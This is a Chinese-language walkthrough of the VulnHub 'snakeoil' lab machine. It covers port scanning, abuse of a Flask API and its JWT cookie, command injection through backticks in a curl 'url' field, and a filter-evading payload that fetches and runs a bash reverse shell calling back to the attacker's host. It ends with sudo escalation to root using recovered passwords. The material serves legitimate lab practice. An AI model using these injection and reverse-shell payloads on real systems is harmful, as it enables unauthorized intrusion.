vulnhub靶场之【digitalworld.local系列】的snakeoil靶机
前言
靶机:digitalworld.local-snakeoil,IP地址为192.168.10.11
攻击:kali,IP地址为192.168.10.6
kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络
这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。
文章中涉及的靶机,来源于
vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载https://pan.quark.cn/s/86cf8a398835
主机发现
使用arp-scan -l或netdiscover -r 192.168.10.1/24扫描
也可以使用nmap等工具进行

信息收集
使用nmap扫描端口
扫描tcp端口,并保存于nmap-tcp
nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少
nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp、udp端口,进行处理,只取端口号
grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=22,80,8080,68,69,138,161,631,1434,1900

对特定的端口号进行深入探测
nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

使用脚本检测有无漏洞
nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

网站信息探测
访问80端口界面,应该是搭建成功的界面,访问页面源代码,并没有信息泄露

使用whatweb和浏览器插件wappalyzer进行分析


使用gobuster等目录爆破工具进行测试
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,s,.,.html -b 403-404

可以看到,扫描并未有内容出现
访问8080端口的界面,这个界面,有点像之前未绑定域名时的界面,不知道是否如此
查看页面源代码,也没有信息泄露

点击进行测试,访问edit,就是每个文章的编辑,发现有delete post的选项,并且点击后,可以直接就删除这个文章了

不过访问house rules时,也是发现了一个人名patrick

这里反应很慢,通过浏览器的网络功能,发现请求的js可能是来自国外的,所以建议这里自己使用魔法一下。

访问useful links,发现其中提到JWT认证

使用gobuster目录爆破工具,针对8080端口的网站进行目录爆破
gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.bak,.txt,.sh,.html -b 403-404

访问login界面,提示当前的get方式不行,并且服务器给出回应,可用的方式有两个

那么建议使用burp或者yakit抓包吧,更改请求类型后,还是没什么东西。改为post还有内容,但是options后,没有任何东西

访问同样是405状态码的run,这个更改为post后,给出了返回,也就是应该有一个form表单,这个表单中输入url,其实就是需要知道参数。这个没办法

访问users,发现东西了,这里就是出现用户名和密码了

$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040
尝试使用john进行破解
$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040这种形式是使用了 PBKDF2(Password-Based Key Derivation Function 2)算法结合 SHA256 哈希函数进行的密码哈希加密结果。具体解释如下:
$pbkdf2-sha256$:表示使用的是 PBKDF2 算法并且哈希函数是 SHA256。PBKDF2 是一种基于密码的密钥派生函数,它通过多次迭代和加盐等操作,增加破解密码的难度,增强安全性。29000:这个数字表示迭代次数,即 PBKDF2 算法在计算密钥派生值时对输入密码进行哈希计算的次数。迭代次数越多,破解密码所需的时间和计算资源就越多。e0/J.V.rVSol5HxPqdW6Nw:这是盐值(salt),盐是一个随机值,与密码一起参与哈希计算。盐值的作用是使得即使用户使用了相同的密码,其哈希结果也会不同,进一步增加破解的难度。FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040:这部分是最终生成的密码哈希值。
这里继续进行总结观察
抓包分析以获取shell
这里还是说一下,并非就一定使用burp,工具很多
使用burp修改数据包
之前抓取的几个界面感觉有搞头,/login和run和registration
访问registration
这里是返回提示“错误的方法”

那么采用POST方式后,提示username区域为空

一般对于registration都是注册,假设这里一样呢,因为也涉及到用户名。
那么一般都是与表单有关的,所以,尝试进行添加,参数是username
这里建议从burp的右侧界面进行添加,因为这样burp会自动加上Content-type请求体的

这里提示password参数也没有数据,所以再添加数据password

根据返回数据来看,已经成功, 让访问login的api进行登录,并且给出了一个token值,这个肯定有用
访问login
使用刚刚注册成功的进行登录
修改请求方式为POST,然后点击后,所需参数与注册时一样,就直接截图参数到位的图片

但是这里登录成功,并没有跳转,所以可能就到这里,还有一个run,访问它
访问run
但是这里的返回并没有参数,该怎么办呢,仔细观察,或许这是json的形式进行传递的

以json数据在请求体中进行测试,不过直接测试127.0.0.1:80后,无效果

说明还是有一个所谓的参数,一直说提供url,是否参数就是url呢,测试一下,当然形式上都测试一下,先测试表单的请求,可以看到不行

直接使用burp的扩展,更改为json形式

返回不一样了,这里要一个密钥,综合来说,目前密钥的形式可能有patrick的哈希密码。以及注册用户snake给的一个access_token,不过这里进行login时,是使用注册的用户snake,是否需要的就是这个access_token呢。
这个token,一般都是放置在cookie中的,那么直接添加测试,直接在这里发现不行,这个secret_key可能不是这两个中的任一个。
访问secret
根据名称联想,之前的目录secret还没测试,访问测试一下,直接500

内部服务器问题?这里目前有的只有access_token以及账户密码,尝试添加access_token测试能否访问

还是不行,这不应该啊,我测试多次,无奈,看了一下wp。
有点无语,名称是access_token_cookie???????啊啊啊啊啊啊啊
唉,访问成功,获取到secret_key的值commandexecutionissecret

直接在run中的json数据,再添加以一段即可

命令执行
这里可以看到右边的返回,像是统计,这里的secret_key是固定的,必须有才能有返回
但是url参数的值,并非固定的,尝试修改一下进行测试,只要在引号内修改,任意值的返回都是这个
并且,这里返回中,说不能解析主机id,采用的是curl

我是否可以猜测,这其实是一个curl命令语句,经测试就是类似于这种

所以在burp上再测试,发现直接在引号内输入;id是不行的,可能在某些符合内吧。想到可以使用反引号 ``这个可以执行的
"url":"127.0.0.1:80;`id`",
"secret_key":"commandexecutionissecret"

相当于可以命令执行,并且这个返回其实可以搞掉,因为是正确的返回,那么直接给它2>/dev/null。
反正大差不差,直接命令执行一个反弹shell进行测试,直接搞命令不行,感觉可能有过滤等情况发生,那么直接在kali中创建一个脚本shell.sh,代码如下
bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
然后通过这个把其下载,根据curl的命令,加上-O参数即可,这里也测试过php文件,但是对php进行关键字处理了

想办法执行执行这个脚本,测试过,命令执行不能有空格,也就是单个命令可以
经过测试,对关键字bash进行了筛选,不能直接有bash出现
所以需要进行拼接
"http://192.168.10.6:8888/shell.sh -O;`a='bas';b='h';$a$b shell.sh`",

使用postman修改
打开postman工具后,直接输入网址地址即可,这里与burp不同,这里基本上无需抓包,而是通过修改包然后直接请求的方式
大致情况如下,基本上差不多


这里就放两张图,不过一定要注意,postman与burp是不同的,这里使用这个工具也是提醒自己
靶机内信息收集
以patrick获取到的反弹shell,查看当前靶机内的用户,发现只要patrick
ls -l /home
cat /etc/passwd | grep /bin/bash

查看网络连接状态
ip add
ss -antulp
netstat -antulp

查看内核版本和系统版本
uname -a
uanme -r
cat /etc/issue
cat /etc/*release
lsb_release

查看以root执行的进程
ps aux | grep root
使用find寻找一些权限
find / -perm \o+w 2>/dev/null
find / -perm -4000 -print 2>/dev/null

使用sudo -l查看,发现两个,一个以root执行无需密码的shutdown,一个是需要密码,所有都可以
但是这里不知道patrick的密码

查看由python搭建的flask网站配置,该配置文件就在patrick的家目录下,路径为/home/patrick/flask_blog
查看主文件app.py,发现几个可能是密码的东西

当然这个文件中,还涉及到一些防护,是真的对bash等关键字进行防护了

尝试以获取的密码进行登录测试
snakeoilisnotgoodforcorporations
NOreasonableDOUBTthisPASSWORDisGOOD
最终以密码NOreasonableDOUBTthisPASSWORDisGOOD登录了patrick账户

提权
根据前面的sudo -l的配置可以知道,这里知道密码后可执行sudo一切了
sudo /bin/bash -p

查看root主目录下的文件

总结
该靶机有以下几点:
- 对于网站,最好就是在浏览时,借助抓包工具,这样可以分析很多,可以使用
burp或yakit等 - 对于一些网站中的请求方式,请求方式不同,也会导致返回不同,这个是重点的,还有许多
http的请求头不同,返回也会不同的 - 对于
http协议中的一些东西,一定要了解,这里比如请求体数据格式,请求头cookie,content-type等等 python搭建的网站也是要了解的,这里的flask也是有很多漏洞的,具体可以百度搜索一下。
相关文章:
vulnhub靶场之【digitalworld.local系列】的snakeoil靶机
前言 靶机:digitalworld.local-snakeoil,IP地址为192.168.10.11 攻击:kali,IP地址为192.168.10.6 kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络 这里官方给的有两种方式࿰…...
FPGA时序约束的几种方法
一,时钟约束 时钟约束是最基本的一个约束,因为FPGA工具是不知道你要跑多高的频率的,你必要要告诉工具你要跑的时钟频率。时钟约束也就是经常看到的Fmax,因为Fmax是针对“最差劲路径”,也就是说,如果该“最差劲路径”得到好成绩,那些不是最差劲的路径的成绩当然比…...
ClusterIP、Headless Service 和 NodePort 的比较
1. ClusterIP 1.1 定义 ClusterIP 是 Kubernetes 默认的 Service 类型,它会为 Service 分配一个虚拟的 IP 地址(ClusterIP),这个 IP 是集群内部的虚拟地址,仅在集群内部有效。 1.2 工作原理 虚拟 IP:Clu…...
Ubuntu切换lowlatency内核
文章目录 一. 前言二. 开发环境三. 具体操作 一. 前言 低延迟内核(Lowlatency Kernel) 旨在为需要低延迟响应的应用程序设计的内核版本。Linux-lowlatency特别适合音频处理、实时计算、游戏和其他需要及时响应的实时任务。其主要特点是优化了中断处理、调…...
介绍一下Qt中的事件过滤
在 Qt 中,事件过滤(Event Filter)是一种强大的机制,它允许一个对象拦截并处理另一个对象接收到的事件。通过事件过滤,可以在事件到达目标对象之前对其进行监控和修改,这在很多场景下都非常有用,…...
C++修炼之路:初识C++
Hello大家好!很高兴我们又见面啦!给生活添点passion,开始今天的编程之路! 我的博客:<但凡. 我的专栏:《编程之路》、《数据结构与算法之美》、《题海拾贝》 欢迎点赞,关注! 引言 …...
微信小程序+SpringBoot的单词学习小程序平台(程序+论文+讲解+安装+修改+售后)
感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,我会一一回复,希望帮助更多的人。 系统背景 (一)社会需求背景 在全球化的大背景下,英语作为国际…...
快乐数 力扣202
一、题目 编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为: 对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和。然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不到 1。如果这个过程 结果为 1&…...
VBA 数据库同一表的当前行与其他行的主键重复判断实现方案1
目的,判断是否主键重复,不重复则登录新数据,重复则不登录。 定义类型: DataRecord tableName 表名 rowNumber 行号 columnName 列名 data 数据 想要实现的代码逻辑如下: 模拟数据库的登录过程。假设…...
Java基础面试题全集
1. Java语言基础 1.1 Java是什么? • Java是一种广泛使用的编程语言,最初由Sun Microsystems(现为Oracle公司的一部分)于1995年发布。它是一种面向对象的、基于类的、通用型的编程语言,旨在让应用程序“编写一次&…...
3.激活函数:神经网络中的非线性驱动器——大模型开发深度学习理论基础
激活函数在神经网络中扮演着至关重要的角色,它为模型引入非线性因素,使得网络能够拟合复杂的数据分布,从而实现高效的特征提取与预测。本文将从实际开发角度出发,介绍激活函数的基本概念、常见激活函数(如 ReLU、GELU、…...
VUE的第二天
1. 指令修饰符 1.1什么是指令修饰符? 所谓指令修饰符就是通过“.”指明一些指令后缀 不同的后缀封装了不同的处理操作 —> 简化代码 1.2按键修饰符 keyup.enter —>当点击enter键的时候才触发 代码演示: <div id"app"><…...
Element Plus中的树组件的具体用法(持续更新!)
const defaultProps {//子树为节点对象的childrenchildren: children,//节点标签为节点对象的name属性label: name, } 属性 以下是树组件中的常用属性以及作用: data:展示的数据(数据源) show-checkbox:节点是否可…...
尚硅谷爬虫note14
一、scrapy scrapy:为爬取网站数据是,提取结构性数据而编写的应用框架 1. 安装 pip install scrapy 或者,国内源安装 pip install scrapy -i https://pypi.douban.com/simple 2. 报错 报错1)building ‘twisted.te…...
/***************************所有笔记汇总目录***************************/
文章分类目录 STM32CubeMX 01、STM32CubeMX——定时器(普通模式和PWM模式) 02、STM32CubeMX——串口(HAL库) 03、STM32CubeMX——(uart_IAP串口)简单示例 04、STM32CubeMX——ADC采集单通道,多通道,内部…...
Spring Framework中的IoC容器
控制反转(Inversion of Control, IoC)与面向切面编程(Aspect Oriented Programming, AOP)是Spring Framework中最重要的两个概念,本章会着重介绍前者。 2.1.1什么是IoC容器 使用XML来配置类实例 定义一个Java Bean类 在resources文件夹中定义一个beans.xml文件&a…...
永洪科技深度分析实战,零售企业的销量预测
随着人工智能技术的不断发展,智能预测已经成为各个领域的重要应用之一。现在,智能预测技术已经广泛应用于金融、零售、医疗、能源等领域,为企业和个人提供决策支持。 智能预测技术通过分析大量的数据,利用机器学习和深度学习算法…...
2.数据结构-栈和队列
数据结构-栈和队列 2.1栈2.1.1栈的表示和实现2.1.2栈的应用举例数制转换括号匹配检验迷宫给求解表达式求值 2.1栈 栈是限定仅在表尾进行插入或删除操作的线性表,因此,对栈来说,表尾端有其特殊含义,称为栈顶(top&#x…...
C++ MySQL 常用接口(基于 MySQL Connector/C++)
C MySQL 常用接口(基于 MySQL Connector/C) 1. 数据库连接 接口: sql::mysql::MySQL_Driver *driver; sql::Connection *con;作用: 用于创建 MySQL 连接对象。 示例: driver sql::mysql::get_mysql_driver_insta…...
android studio开发文档
android基本样式 1.文本 2.设置文本大小 3.字体颜色 背景 资源文件 xml’引用资源文件 4.视图宽高 5.间距 6.对齐方式 常用布局 1.linearLayout线性布局 2.相对布局 RelativeLayout 3.网格布局GridLayout 4.scrollview滚动视图 Button 点击事件与长按事件 长按 按钮禁用与…...
Java 对象与类——从 C++ 到 Java
文章目录 面向对象程序设计概述使用预定义类用户自定义类静态字段与静态方法方法参数对象构造包JAR 文件文档注释类设计技巧 面向对象程序设计概述 面向对象程序设计(OOP)在 20 世纪 70 年代出现,是当今主流编程范型,Java 是面向…...
java2025年常见设计模式面试题
1. 请解释建造者模式(Builder Pattern)及其应用场景。 答案: 建造者模式用于创建一个复杂的对象,同时允许用户只通过指定复杂对象的类型和内容就能构建它们,隐藏了复杂的构建逻辑。 示例: public class C…...
一篇文章讲解清楚ARM9芯片启动流程
SAM9X60 ARM9 boot启动流程关键词介绍: 第一级bootloader - 也叫boot ROM,是集成在MPU内部的ROM里面 它的主要功能是执行对MPU的基本初始化和配置,查找并将第二级bootloader从外部NVM中读取出来并放到MPU内部的SRAM. 可以让MPU强制停留在第一…...
setlocale()的参数,“zh_CN.UTF-8“, “chs“, “chinese-simplified“的差异。
在 C/C 中,setlocale() 函数的参数 zh_CN.UTF-8、chs 和 chinese-simplified 均用于设置中文简体环境,但它们的语义、平台支持和编码行为存在显著差异: 1. zh_CN.UTF-8(推荐) 含义: zh_CN: 中文&…...
Python项目-基于Django的在线教育平台开发
1. 项目概述 在线教育平台已成为现代教育的重要组成部分,特别是在后疫情时代,远程学习的需求显著增加。本文将详细介绍如何使用Python的Django框架开发一个功能完善的在线教育平台,包括系统设计、核心功能实现以及部署上线等关键环节。 本项…...
【2025】Electron + React 架构筑基——从零到一的跨平台开发
引言 源代码仓库: Github仓库【electron_git】 你是否厌倦了在命令行中反复输入git status,却依然无法直观看到文件变化? 是否羡慕VS Code的丝滑Git集成,却苦恼于无法定制自己的专属工具? 本专栏将为你打开一扇新的…...
Vue3实战学习(IDEA中打开、启动与搭建Vue3工程极简脚手架教程(2025超详细教程)、Windows系统命令行启动Vue3工程)(2)
目录 一、命令行中重新启动已搭建好的Vue3工程。(快速上手) (0)Windows环境下使用命令行从零到一手动搭建Vue3工程教程。 (1)首先找到已建Vue3工程的目录。 (2)无需再下载依赖包,直接执行npm ru…...
【ArcGIS】地理坐标系
文章目录 一、坐标系理论体系深度解析1.1 地球形态的数学表达演进史1.1.1 地球曲率的认知变化1.1.2 参考椭球体参数对比表 1.2 地理坐标系的三维密码1.2.1 经纬度的本质1.2.2 大地基准面(Datum)的奥秘 1.3 投影坐标系:平面世界的诞生1.3.1 投…...
Redis- 切片集群
切片集群 切片集群什么是Redis Cluster吗?为什么需要切片集群?Redis Cluster的数据分片机制是怎样的?哈希槽的算法是什么基本算法流程 待填坑 切片集群 什么是Redis Cluster吗?为什么需要切片集群? Redis Cluster是R…...
Oxidized收集H3C交换机网络配置报错,not matching configured prompt (?-mix:^(<CD>)$)
背景:问题如上标题,H3C所有交换机配置的model都是comware 解决方案: 1、找到compare.rb [rootoxidized model]# pwd /usr/local/lib/ruby/gems/3.1.0/gems/oxidized-0.29.1/lib/oxidized/model [rootoxidized model]# ll comware.rb -rw-r--…...
